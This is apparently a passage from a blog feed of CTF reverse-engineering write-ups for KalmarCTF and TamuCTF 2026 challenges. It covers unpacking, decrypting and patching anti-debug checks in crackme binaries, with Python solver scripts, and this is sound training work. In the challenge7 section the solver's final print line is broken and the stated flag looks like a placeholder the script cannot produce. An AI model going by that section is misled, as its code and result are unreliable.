<p><img src="attachment/32bd64d38f9542ad15ad00fa4542b92b.png" alt="" /></p>

<h2 id="blob-blob-blob-sub_556260">Blob blob blob <code class="language-plaintext highlighter-rouge">sub_556260</code></h2>

<p>The first part here using the <code class="language-plaintext highlighter-rouge">kalmar{</code> to decrypt a blob</p>

<p><img src="attachment/815e5b12bafbff08d0e21687a92e3d8b.png" alt="" /></p>

<p>Then it performs a check. If it fails, it returns <code class="language-plaintext highlighter-rouge">-1</code>.</p>

<p><img src="attachment/bf68081781257a2fdd092ba1f8102621.png" alt="" /></p>

<p><img src="attachment/e1ee50ce5689a5d0d59411053949b5d7.png" alt="" /></p>

<h3 id="the-decrypted-blob">The decrypted blob</h3>

<p>I saw the “heard” message (the address may vary each time, i put a bp around 0x4269AA and walked there)</p>

<p><img src="attachment/4a07e58384faa6320670d382ba431424.png" alt="" /></p>

<p>After 2 jumps, it calls <code class="language-plaintext highlighter-rouge">sub_0042660</code> to pop up the message, and then i encountered a weird <code class="language-plaintext highlighter-rouge">ret far</code></p>

<p>(The addresses here are different because i ran it again, just focus on the asm)</p>

<p><img src="attachment/32accbbcbdd75aaebbd1aa50831a42e7.png" alt="" /></p>

<p>Looking it up, this is called a <a href="https://blog.vincss.net/vi/re015-heavens-gate-mot-ki-thuat-cu-nhung-hieu-qua-2/">“Heaven’s Gate”</a> (nice theme fit). In short, it jumps from 32-bit into 64-bit mode</p>

<p>x32dbg crashes right after that, so I guess I have to dump the thing and read it</p>

<h2 id="the-validator-inside-the-gate">The validator inside the gate</h2>

<p>I loaded the dumped bin to IDA. <em>Luckily, thing wasn’t so tangled</em></p>

<p>First, jumps to <code class="language-plaintext highlighter-rouge">loc_2AA</code></p>

<p><img src="attachment/2f857040b1078b8c15985ae51b74f6d1.png" alt="" />
<img src="attachment/18f84ac45484ed55fc4568bab1517bb3.png" alt="" /></p>

<p>There, it calls <code class="language-plaintext highlighter-rouge">sub_275</code>. This walks the input, uppercases the characters and returns the length.</p>

<p><img src="attachment/7c1932889a21d72012f998d9b128d8a2.png" alt="" /></p>

<p><img src="attachment/f42941e779350fe4c5138cc811897060.png" alt="" /></p>

<p>So here <code class="language-plaintext highlighter-rouge">flag_len = 40</code></p>

<p>Next is <code class="language-plaintext highlighter-rouge">loc_6D</code>.
Here it calls <code class="language-plaintext highlighter-rouge">sub_2D1</code>, this thing does some checking, and switches back to 32-bit mode.
The main validation logic lives here</p>

<p><img src="attachment/d40bfa3fd89117158a51df37756b42fc.png" alt="" /></p>

<p><code class="language-plaintext highlighter-rouge">r11</code> holds the uppercased input
<code class="language-plaintext highlighter-rouge">r9</code> holds the original input</p>

<p>The while loops calling <code class="language-plaintext highlighter-rouge">sub_124</code> checking through <code class="language-plaintext highlighter-rouge">r11</code>.
The sequence of <code class="language-plaintext highlighter-rouge">sub_F</code> calculates and checks the hash of flag parts.</p>

<h3 id="finishing-algos">Finishing algos</h3>

<p><img src="attachment/4db4066b820aa076220645d7895c79de.png" alt="" /></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>v4 = Ax^3 + Bx^2 + Cx + D
A,B,C,D are derived from a2

v3 = rounded(v4)
</code></pre></div></div>

<p>But where is that second argument? Tracking back, it was poped from the stack.</p>

<p><img src="attachment/77dfb709d6f085bbfb3db6b343a1245f.png" alt="" /></p>

<p>We jumped from <code class="language-plaintext highlighter-rouge">0x6D</code>, so the top of the stack is <code class="language-plaintext highlighter-rouge">0x72</code>. There is the polynomial coefficients table</p>

<p><img src="attachment/22dff2451d6aacb69c343def31d2ca83.png" alt="" /></p>

<p>From here, we can dump out the table, replicate <code class="language-plaintext highlighter-rouge">sub_124</code> and get the uppercased flag
<code class="language-plaintext highlighter-rouge">KALMAR{M15S_TH3_S1GN5_4ND_3NTER_TH3_M4Z3}</code></p>

<p>Then, we can replicate <code class="language-plaintext highlighter-rouge">sub_F</code> and brute force to get the correct casing of the characters.</p>

<h2 id="flag">FLag</h2>

<p><code class="language-plaintext highlighter-rouge">kalmar{M15S_Th3_S1gN5_4Nd_3NteR_tH3_M4Z3}</code></p>

<p><em>p/s: this was fun, i wonder if there is a way to dynamic analyze when it switches to 64-bit mode to save time analyzing the polynomial thing.</em></p>]]></content><author><name>ngk</name></author><category term="writeup" /><category term="ctf" /><category term="kalmarctf" /><category term="reverse" /><summary type="html"><![CDATA[just one challenge done 0racle [rev]]]></summary></entry><entry><title type="html">TamuCTF 2026 Writeups</title><link href="https://leovanbon.github.io/tamuctf-2026-wu.html" rel="alternate" type="text/html" title="TamuCTF 2026 Writeups" /><published>2026-03-28T00:00:00+00:00</published><updated>2026-03-28T00:00:00+00:00</updated><id>https://leovanbon.github.io/TamuCTF-2026-WU</id><content type="html" xml:base="https://leovanbon.github.io/tamuctf-2026-wu.html"><![CDATA[<h1 id="nucleus-rev">nucleus [rev]</h1>

<p>The challenge provided a binary <code class="language-plaintext highlighter-rouge">nucleus21.exe</code>. I tried running it, and it creates a new file <code class="language-plaintext highlighter-rouge">nucleus22.exe</code> after receiving input. I noted that the new file is larger.</p>

<h2 id="first-impression">First impression</h2>

<p><img src="attachment/6b4cc2940c8018289647ba2719b9043b.png" alt="" /></p>

<p>First, it makes a copy of itself (with a different index), and then <code class="language-plaintext highlighter-rouge">sub_1400010D0</code> modifies that new copy.</p>

<h2 id="inside">Inside</h2>

<p>Note that <code class="language-plaintext highlighter-rouge">v7</code> holds a copy of the file.</p>

<p><img src="attachment/8629be973e2cf594948193c914782ec0.png" alt="" /></p>

<p>I guessed that the flag was fed to the nucleus in the form of 21 single bytes.</p>

<p>There are two things left to answer now:</p>
<ol>
  <li>Address the “resource” - how do we extract it?</li>
  <li>How should we recover the bytes?</li>
</ol>

<h2 id="solution">Solution</h2>

<ol>
  <li>By looking it up, I found that the resource section is <code class="language-plaintext highlighter-rouge">.rsrc</code>. Claude generated an extraction script for me.</li>
  <li>It XORed the entire binary file, which means the magic bytes also got XORed.</li>
</ol>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">pefile</span>
<span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="n">xor</span>

<span class="n">flag</span> <span class="o">=</span> <span class="s">""</span>

<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">20</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">):</span>
	<span class="n">pe</span> <span class="o">=</span> <span class="n">pefile</span><span class="p">.</span><span class="n">PE</span><span class="p">(</span><span class="sa">f</span><span class="s">"nucleus</span><span class="si">{</span><span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="si">}</span><span class="s">.exe"</span><span class="p">)</span>
	<span class="k">for</span> <span class="n">res_type</span> <span class="ow">in</span> <span class="n">pe</span><span class="p">.</span><span class="n">DIRECTORY_ENTRY_RESOURCE</span><span class="p">.</span><span class="n">entries</span><span class="p">:</span>
		<span class="k">if</span> <span class="n">res_type</span><span class="p">.</span><span class="nb">id</span> <span class="o">==</span> <span class="n">pefile</span><span class="p">.</span><span class="n">RESOURCE_TYPE</span><span class="p">[</span><span class="s">'RT_RCDATA'</span><span class="p">]:</span>
			<span class="k">for</span> <span class="n">res_id</span> <span class="ow">in</span> <span class="n">res_type</span><span class="p">.</span><span class="n">directory</span><span class="p">.</span><span class="n">entries</span><span class="p">:</span>
				<span class="k">if</span> <span class="n">res_id</span><span class="p">.</span><span class="nb">id</span> <span class="o">==</span> <span class="mi">101</span><span class="p">:</span>
					<span class="k">for</span> <span class="n">res_lang</span> <span class="ow">in</span> <span class="n">res_id</span><span class="p">.</span><span class="n">directory</span><span class="p">.</span><span class="n">entries</span><span class="p">:</span>
						<span class="n">data_rva</span> <span class="o">=</span> <span class="n">res_lang</span><span class="p">.</span><span class="n">data</span><span class="p">.</span><span class="n">struct</span><span class="p">.</span><span class="n">OffsetToData</span>
						<span class="n">size</span> <span class="o">=</span> <span class="n">res_lang</span><span class="p">.</span><span class="n">data</span><span class="p">.</span><span class="n">struct</span><span class="p">.</span><span class="n">Size</span>
						<span class="n">payload</span> <span class="o">=</span> <span class="n">pe</span><span class="p">.</span><span class="n">get_data</span><span class="p">(</span><span class="n">data_rva</span><span class="p">,</span> <span class="n">size</span><span class="p">)</span>
						<span class="n">key</span> <span class="o">=</span> <span class="n">payload</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">^</span> <span class="nb">ord</span><span class="p">(</span><span class="s">'M'</span><span class="p">)</span>
						<span class="n">flag</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">(</span><span class="n">key</span><span class="p">)</span>
						<span class="nb">open</span><span class="p">(</span><span class="sa">f</span><span class="s">"nucleus</span><span class="si">{</span><span class="n">i</span><span class="si">}</span><span class="s">.exe"</span><span class="p">,</span> <span class="s">"wb"</span><span class="p">).</span><span class="n">write</span><span class="p">(</span><span class="n">xor</span><span class="p">(</span><span class="n">payload</span><span class="p">,</span><span class="n">key</span><span class="p">))</span>

<span class="k">print</span><span class="p">(</span><span class="n">flag</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>
</code></pre></div></div>

<h2 id="flag">Flag</h2>

<p><code class="language-plaintext highlighter-rouge">gigem{RCD4Ta_i5_N3aT}</code></p>

<hr />

<h1 id="challenge7-rev">challenge7 [rev]</h1>

<p>The challenge provides a binary file <code class="language-plaintext highlighter-rouge">challenge7</code> that validates an input. 
After a quick scan, I caught these:</p>

<p><img src="attachment/cac4ba5d76764498bfe9c98361aa60bd.png" alt="" /></p>

<p>Then, the input stays untouched and gets passed to a JIT function compiled with some VM-like code.</p>

<p><img src="attachment/012a35fe9dae329eba148f58af98b56f.png" alt="" /></p>

<p>Scrolling down:</p>

<p><img src="attachment/ced9b47a74cc536f03aa285cebcc19bb.png" alt="" /></p>

<p>I think we should set a breakpoint there and dump out the validating function(s), eh?
Let’s check for anti-debugging measures; there should be some standing in our way.</p>

<h2 id="the-hunt">The hunt</h2>

<h3 id="outside-the-loop">outside the loop</h3>

<p>I first found this:</p>

<p><img src="attachment/d415b1b51183e486821e2ec57a45b378.png" alt="" /></p>

<p><code class="language-plaintext highlighter-rouge">sub_32D0</code> appears at the start of the loop as well; let’s see what’s inside.</p>

<h3 id="sub_32d0"><code class="language-plaintext highlighter-rouge">sub_32D0</code></h3>

<p><img src="attachment/8a87d29f645193e50c1e717bb9d613f2.png" alt="" /></p>

<p>While inspecting <code class="language-plaintext highlighter-rouge">xmmword_106E0</code>, I found something familiar.</p>

<p><img src="attachment/5011dac7c71b5a2c147e7bb0806caac0.png" alt="" /></p>

<p><img src="attachment/beea19b5c0b4517dd78a91208b5fccc1.png" alt="" /></p>

<p>It matches <code class="language-plaintext highlighter-rouge">xmmword_106E0</code>. I concluded that <code class="language-plaintext highlighter-rouge">sub_3220</code> is SHA-256, and from that, derived that <code class="language-plaintext highlighter-rouge">sub_2B60</code> and <code class="language-plaintext highlighter-rouge">sub_3010</code> are also part of the SHA-256 process (I’m going to rename them for later analysis).</p>

<p>If the hash passes, then <code class="language-plaintext highlighter-rouge">a1[3] = a1[4] = 0</code>.</p>

<p>The rest of this check function is just a debugger check (<code class="language-plaintext highlighter-rouge">iPrecarT :d</code>) and a hook check (<code class="language-plaintext highlighter-rouge">LD_PRELOAD</code>): it corrupts <code class="language-plaintext highlighter-rouge">a1[3]</code> and <code class="language-plaintext highlighter-rouge">a1[4]</code> if there is anything suspicious.</p>

<p>We can conclude that <code class="language-plaintext highlighter-rouge">sub_32D0</code> sets <code class="language-plaintext highlighter-rouge">v62[6] = ... = v62[9] = 0</code> (if things run normally).</p>

<p>With that finding, <strong>I just need to keep an eye out for anything that touches <code class="language-plaintext highlighter-rouge">v62[6:10]</code></strong>, and also <code class="language-plaintext highlighter-rouge">v62[10:12]</code> because they hold information about the runtime <code class="language-plaintext highlighter-rouge">.text</code> section.</p>

<h3 id="inside-the-loop">inside the loop</h3>

<p>I found just this one:</p>

<p><img src="attachment/5d97762518a006111638a1387929640b.png" alt="" /></p>

<p><img src="attachment/97cb992298053bf69a105e881708065d.png" alt="" /></p>

<p>The other parts are just VM things; it feeds the VM state into those hashes too.
I guess we don’t need to touch them (reading all that makes me feel dizzy as hell, nah).</p>

<h2 id="patching">Patching</h2>

<p>I gathered that we just need to patch <code class="language-plaintext highlighter-rouge">sub_3220</code> so it doesn’t screw up our <code class="language-plaintext highlighter-rouge">v62</code>.</p>

<p>hmmmmmmm…..</p>

<p>“Hey Claude, nop-nuke this shit for me (remember to return 1).”</p>

<p><img src="attachment/ee1c2ca53b1cd9fdc2cff332dee98e31.png" alt="" /></p>

<p><img src="attachment/81defeb6632b33b9b83d6a2a77c6f6ae.png" alt="" /></p>

<p>Found one, dumped it.</p>

<p><img src="attachment/52063dac97f4050c704f894e043b016d.png" alt="" /></p>

<p>There seems to be just one <code class="language-plaintext highlighter-rouge">flag_check</code> func.</p>

<h2 id="finishing">Finishing</h2>

<p>The dumped function looks legit. I decompiled it in IDA. Note that:</p>

<p><img src="attachment/4689a199ca3d0c19ff3de8bec971ca38.png" alt="" /></p>

<p>And I got the reverse script:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">ror4</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">n</span><span class="p">):</span> <span class="k">return</span> <span class="p">((</span><span class="n">x</span> <span class="o">&gt;&gt;</span> <span class="n">n</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="n">x</span> <span class="o">&lt;&lt;</span> <span class="p">(</span><span class="mi">32</span><span class="o">-</span><span class="n">n</span><span class="p">)))</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span>
<span class="k">def</span> <span class="nf">rol4</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">n</span><span class="p">):</span> <span class="k">return</span> <span class="p">((</span><span class="n">x</span> <span class="o">&lt;&lt;</span> <span class="n">n</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="n">x</span> <span class="o">&gt;&gt;</span> <span class="p">(</span><span class="mi">32</span><span class="o">-</span><span class="n">n</span><span class="p">)))</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span>
  
<span class="n">expected_v18</span> <span class="o">=</span> <span class="p">{}</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">8</span><span class="p">):</span> <span class="n">expected_v18</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="mh">0x2b48b515d43f4140</span> <span class="o">&gt;&gt;</span> <span class="p">(</span><span class="n">i</span><span class="o">*</span><span class="mi">8</span><span class="p">))</span> <span class="o">&amp;</span> <span class="mh">0xFF</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="mi">16</span><span class="p">):</span> <span class="n">expected_v18</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="mh">0x35bcb75507c270f7</span> <span class="o">&gt;&gt;</span> <span class="p">((</span><span class="n">i</span><span class="o">-</span><span class="mi">8</span><span class="p">)</span><span class="o">*</span><span class="mi">8</span><span class="p">))</span> <span class="o">&amp;</span> <span class="mh">0xFF</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">16</span><span class="p">,</span> <span class="mi">24</span><span class="p">):</span> <span class="n">expected_v18</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="mh">0x841e959c29c8f1e7</span> <span class="o">&gt;&gt;</span> <span class="p">((</span><span class="n">i</span><span class="o">-</span><span class="mi">16</span><span class="p">)</span><span class="o">*</span><span class="mi">8</span><span class="p">))</span> <span class="o">&amp;</span> <span class="mh">0xFF</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">24</span><span class="p">,</span> <span class="mi">32</span><span class="p">):</span> <span class="n">expected_v18</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="mh">0x1e7c68fc9ce020c2</span> <span class="o">&gt;&gt;</span> <span class="p">((</span><span class="n">i</span><span class="o">-</span><span class="mi">24</span><span class="p">)</span><span class="o">*</span><span class="mi">8</span><span class="p">))</span> <span class="o">&amp;</span> <span class="mh">0xFF</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">32</span><span class="p">,</span> <span class="mi">37</span><span class="p">):</span> <span class="n">expected_v18</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="mh">0x000000daf7d998de</span> <span class="o">&gt;&gt;</span> <span class="p">((</span><span class="n">i</span><span class="o">-</span><span class="mi">32</span><span class="p">)</span><span class="o">*</span><span class="mi">8</span><span class="p">))</span> <span class="o">&amp;</span> <span class="mh">0xFF</span>
<span class="n">expected</span> <span class="o">=</span><span class="p">[</span><span class="n">expected_v18</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">37</span><span class="p">)]</span>

<span class="n">v6</span> <span class="o">=</span> <span class="mh">0x1337c0de</span> <span class="o">^</span> <span class="mh">0xc0def00d</span>
<span class="n">v10</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">v9</span> <span class="o">=</span> <span class="mi">0</span>
<span class="n">flag_chars</span> <span class="o">=</span><span class="p">[];</span> <span class="n">all_ok</span> <span class="o">=</span> <span class="bp">True</span>

<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">37</span><span class="p">):</span>
	<span class="n">tmp</span> <span class="o">=</span> <span class="p">(</span><span class="n">v6</span> <span class="o">+</span> <span class="n">v10</span> <span class="o">-</span> <span class="mh">0x61c88647</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span>
	<span class="n">next_v6</span> <span class="o">=</span> <span class="p">(</span><span class="n">rol4</span><span class="p">(</span><span class="n">tmp</span><span class="p">,</span> <span class="mi">5</span><span class="p">)</span> <span class="o">^</span> <span class="n">ror4</span><span class="p">(</span><span class="n">tmp</span><span class="p">,</span> <span class="mi">3</span><span class="p">))</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span>
	<span class="n">r10d</span> <span class="o">=</span> <span class="p">(</span><span class="n">next_v6</span> <span class="o">&gt;&gt;</span> <span class="mi">8</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span>
	<span class="n">ecx_add</span> <span class="o">=</span> <span class="p">(((</span><span class="n">next_v6</span> <span class="o">&gt;&gt;</span> <span class="mi">16</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span><span class="p">)</span> <span class="o">+</span> <span class="n">v9</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFF</span>
	<span class="n">A</span> <span class="o">=</span> <span class="p">(</span><span class="n">i</span><span class="o">*</span><span class="mi">17</span> <span class="o">^</span> <span class="n">next_v6</span> <span class="o">^</span> <span class="n">r10d</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFF</span>
	<span class="n">needed</span> <span class="o">=</span> <span class="p">(</span><span class="n">expected</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">-</span> <span class="n">ecx_add</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFF</span>
	
	<span class="n">flag_chars</span><span class="p">.</span><span class="n">append</span><span class="p">((</span><span class="n">A</span> <span class="o">^</span> <span class="n">needed</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFF</span><span class="p">)</span>
	<span class="n">v6</span> <span class="o">=</span> <span class="n">next_v6</span>
	<span class="n">v10</span> <span class="o">=</span> <span class="p">(</span><span class="n">v10</span> <span class="o">+</span> <span class="mh">0x45d9f3b</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span>
	<span class="n">v9</span> <span class="o">=</span> <span class="p">(</span><span class="n">v9</span> <span class="o">+</span> <span class="mh">0xb</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span>

<span class="n">flag_inner</span> <span class="o">=</span> <span class="s">''</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="nb">chr</span><span class="p">(</span><span class="n">c</span><span class="p">)</span> <span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="n">flag_chars</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"gigem}"</span><span class="p">)</span>
</code></pre></div></div>

<h2 id="flag-1">Flag</h2>

<p><code class="language-plaintext highlighter-rouge">gigem{this_will_be_the_flag_for_challenge_7}</code></p>

<hr />

<h1 id="war-hymn-rev">war-hymn [rev]</h1>

<p>Inspecting <code class="language-plaintext highlighter-rouge">main</code>, I found a repeating pattern like this:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">v</span> <span class="o">=</span> <span class="p">...</span>
<span class="k">if</span> <span class="n">debugger_present</span><span class="p">():</span>
	<span class="n">corrupt</span><span class="p">(</span><span class="n">v</span><span class="p">)</span>

<span class="n">new_v</span> <span class="o">=</span> <span class="sa">b</span><span class="s">''</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">v</span><span class="p">))</span>
	<span class="n">new_v</span> <span class="o">+=</span> <span class="n">v</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">^</span> <span class="p">(</span><span class="n">xmmword_403070</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">+</span> <span class="mi">21</span><span class="p">)</span>
</code></pre></div></div>

<p>After 1 or 2 blocks like that, it feeds the decrypted strings to another function.</p>

<p>I began by checking the code around the first two decodes:</p>

<p><img src="attachment/1cb8be558f2a6715ce361fc7da887756.png" alt="" /></p>

<h2 id="sub_402260--qword_405160"><code class="language-plaintext highlighter-rouge">sub_402260</code> &amp; <code class="language-plaintext highlighter-rouge">qword_405160</code></h2>

<p><img src="attachment/eb9aef225879f75424b2de00a085af37.png" alt="" /></p>

<p>Checking the routine:</p>

<p><img src="attachment/a6ae671f5dd20b753d6459d38beee0ed.png" alt="" /></p>

<p>Keeping going, note that:</p>
<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>qword_405160(v27, v40, v52)
v40 = proc/self/exe
v52 = .init.checksum.validation
</code></pre></div></div>
<p><img src="attachment/e96abafed5922b4d78072e9cafdad607.png" alt="" /></p>

<h2 id="jump-back-to-main">jump back to <code class="language-plaintext highlighter-rouge">main</code></h2>

<p>The next strings are <code class="language-plaintext highlighter-rouge">.bss.secure.buffer</code> and <code class="language-plaintext highlighter-rouge">.init.constructors.global</code>, which get passed to <code class="language-plaintext highlighter-rouge">sub_401D90</code>.</p>

<p><code class="language-plaintext highlighter-rouge">sub_401D90</code> also scans for the data section. It passes the found section pointer to the second argument and assigns the length to the third argument.</p>

<p><img src="attachment/189df627432b36e1efabb142e9d40115.png" alt="" /></p>

<p>Everything is then fed to the function in <code class="language-plaintext highlighter-rouge">v27</code>, holding the <code class="language-plaintext highlighter-rouge">.init.checksum.validation</code> section. I guess now we need to find out what that was.</p>

<h2 id="dumping">Dumping</h2>

<p>Speaking of ELF sections, let’s use <code class="language-plaintext highlighter-rouge">readelf</code> to see where they live.</p>

<p><img src="attachment/1d0d654af69d843d6b12a4ee1f528aef.png" alt="" /></p>

<p>It calls a function at <code class="language-plaintext highlighter-rouge">.init.checksum.validation</code>, so I dumped that section:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">data</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">"war-hymn"</span><span class="p">,</span> <span class="s">"rb"</span><span class="p">).</span><span class="n">read</span><span class="p">()[</span><span class="mh">0x5000</span> <span class="p">:</span> <span class="mh">0x5000</span> <span class="o">+</span> <span class="mh">0x47</span><span class="p">]</span>
<span class="nb">open</span><span class="p">(</span><span class="s">"init_constructors_global.bin"</span><span class="p">,</span> <span class="s">"wb"</span><span class="p">).</span><span class="n">write</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
</code></pre></div></div>

<p>and put it in IDA:</p>

<p><img src="attachment/be8bc122c5e33e034bb00461d4250f7b.png" alt="" /></p>

<p><code class="language-plaintext highlighter-rouge">a1</code>: encrypted data ptr, <code class="language-plaintext highlighter-rouge">a2</code>: data len, <code class="language-plaintext highlighter-rouge">a3</code>: dest, <code class="language-plaintext highlighter-rouge">a4</code>: key ptr, <code class="language-plaintext highlighter-rouge">a5</code>: key len</p>

<p>This takes 5 args, but the pseudocode showed just 4. Let’s check the ASM in <code class="language-plaintext highlighter-rouge">main</code> again:</p>

<p><img src="attachment/fc5e43d1e4442b75be231526d5920dd4.png" alt="" /></p>

<p>So this should be the correct replication:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">'war-hymn'</span><span class="p">,</span><span class="s">'rb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
	<span class="n">d</span> <span class="o">=</span> <span class="n">f</span><span class="p">.</span><span class="n">read</span><span class="p">()</span>

<span class="n">ctor_key</span> <span class="o">=</span> <span class="n">d</span><span class="p">[</span><span class="mh">0x4480</span><span class="p">:</span><span class="mh">0x4480</span><span class="o">+</span><span class="mh">0x30d</span><span class="p">]</span>
<span class="n">bss</span> <span class="o">=</span> <span class="n">d</span><span class="p">[</span><span class="mh">0x6000</span><span class="p">:</span><span class="mh">0x6000</span><span class="o">+</span><span class="mh">0xc42</span><span class="p">]</span>

<span class="k">def</span> <span class="nf">decrypt_checksum</span><span class="p">(</span><span class="n">src</span><span class="p">,</span> <span class="n">key</span><span class="p">,</span> <span class="n">key_len</span><span class="p">,</span> <span class="n">init_acc</span><span class="o">=</span><span class="mh">0x67</span><span class="p">):</span>
	<span class="n">acc</span> <span class="o">=</span> <span class="n">init_acc</span>
	<span class="n">out</span> <span class="o">=</span> <span class="nb">bytearray</span><span class="p">()</span>
	<span class="k">for</span> <span class="n">i</span><span class="p">,</span> <span class="n">b</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">src</span><span class="p">):</span>
		<span class="n">idx</span> <span class="o">=</span> <span class="n">i</span> <span class="o">%</span> <span class="n">key_len</span>
		<span class="n">val</span> <span class="o">=</span> <span class="n">key</span><span class="p">[</span><span class="n">idx</span><span class="p">]</span> <span class="o">+</span> <span class="n">i</span>
		<span class="n">acc</span> <span class="o">=</span> <span class="n">acc</span> <span class="o">+</span> <span class="n">val</span>
		<span class="n">out</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">b</span> <span class="o">^</span> <span class="p">(</span><span class="n">acc</span> <span class="o">&amp;</span> <span class="mh">0xff</span><span class="p">))</span>
	<span class="k">return</span> <span class="nb">bytes</span><span class="p">(</span><span class="n">out</span><span class="p">)</span>
	
  
<span class="n">dec</span> <span class="o">=</span> <span class="n">decrypt_checksum</span><span class="p">(</span><span class="n">bss</span><span class="p">,</span> <span class="n">ctor_key</span><span class="p">,</span> <span class="mh">0x30d</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span>
<span class="nb">open</span><span class="p">(</span><span class="s">'decrypted_thing'</span><span class="p">,</span><span class="s">'wb'</span><span class="p">).</span><span class="n">write</span><span class="p">(</span><span class="n">dec</span><span class="p">)</span>
</code></pre></div></div>

<p>I was curious, so I threw it into DiE and ImHex:</p>

<p><img src="attachment/edb2012199b9626f3fd54969bbffc1a6.png" alt="" /></p>

<p><img src="attachment/af6ff453b7de15090e2f9f829f687bac.png" alt="" /></p>

<p>Jackpot. That <code class="language-plaintext highlighter-rouge">78 9C</code> are the magic bytes of zlib.</p>

<p>Later analysis of <code class="language-plaintext highlighter-rouge">sub_4020D0 -&gt; sub_401F90</code> also confirms that there is some sort of inflating (decompression).</p>

<p><img src="attachment/33cba5f53dce53a59b095bb9873aa288.png" alt="" /></p>

<p>Let’s decompress it and see what it holds:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">zlib</span>

<span class="n">compressed</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">"decrypted_thing"</span><span class="p">,</span> <span class="s">"rb"</span><span class="p">).</span><span class="n">read</span><span class="p">()</span>
<span class="c1">#
</span><span class="n">decompressed_data</span> <span class="o">=</span> <span class="n">zlib</span><span class="p">.</span><span class="n">decompress</span><span class="p">(</span><span class="n">compressed</span><span class="p">[</span><span class="mi">8</span><span class="p">:])</span>
<span class="nb">open</span><span class="p">(</span><span class="s">"is_this_final"</span><span class="p">,</span> <span class="s">"wb"</span><span class="p">).</span><span class="n">write</span><span class="p">(</span><span class="n">decompressed_data</span><span class="p">)</span>
</code></pre></div></div>

<h2 id="last-file-to-analyze">Last file to analyze</h2>

<p>The decompressed binary has some functions as follows:</p>

<p><img src="attachment/3f0cec33ea62c3bcfa004d3dee4e9519.png" alt="" /></p>

